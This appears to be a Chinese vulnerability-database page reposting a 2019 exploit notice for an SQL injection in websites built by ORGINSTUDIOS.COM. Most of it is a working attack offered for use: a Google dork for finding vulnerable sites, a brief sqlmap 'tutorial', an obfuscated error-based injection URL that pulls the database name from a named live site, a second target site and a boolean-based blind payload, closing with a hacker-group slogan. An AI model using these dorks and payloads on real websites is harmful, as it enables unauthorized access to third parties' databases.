Designed by ORGINSTUDIOS.COM Sql İnjection Vulnerability - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1650104 漏洞类型
发布时间 2019-07-01 更新时间 2019-07-01
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019070001
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#################################################################################
# Exploit Title: Designed by ORGINSTUDIOS.COM Sql İnjection Vulnerability
# Author : TrazeR  & AKINCİLAR
# Google Dork : intext:"Designed by ORGINSTUDIOS.COM" inurl:catid
# Tested on : Windows 7 
# Date : 01.07.2019
# Vendor Home: https://orginstudios.com/
# Blog : https://www.trazer.org/
# Forum : http://www.cyber-warrior.org/
#################################################################################

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]

root@TrazeR:~# Tutorial :
[+] Dorking İn Google Or Other Search Enggine
[+] Sqlmap Or Manuel 
[+] GET parameter 'catid' is vulnerable

Demo: http://graphicarts.gr/portal/corp.php?catid=260'+and(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+aes_decrypt(aes_encrypt(%2f**%2fcOnCaT(0x217e21,%2f**%2fdAtAbAsE(),0x217e21),1),1))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)+and+'1'='1&cp=8&cntrid=



Demo 2 :  http://www.exaireton.com/mainsite/products.php?catid=37

Parameter: catid (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: catid=-5607) OR 3893=3893-- HOfb

#AKINCILAR ! BU GÜCE SAYGI DUYUN !

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]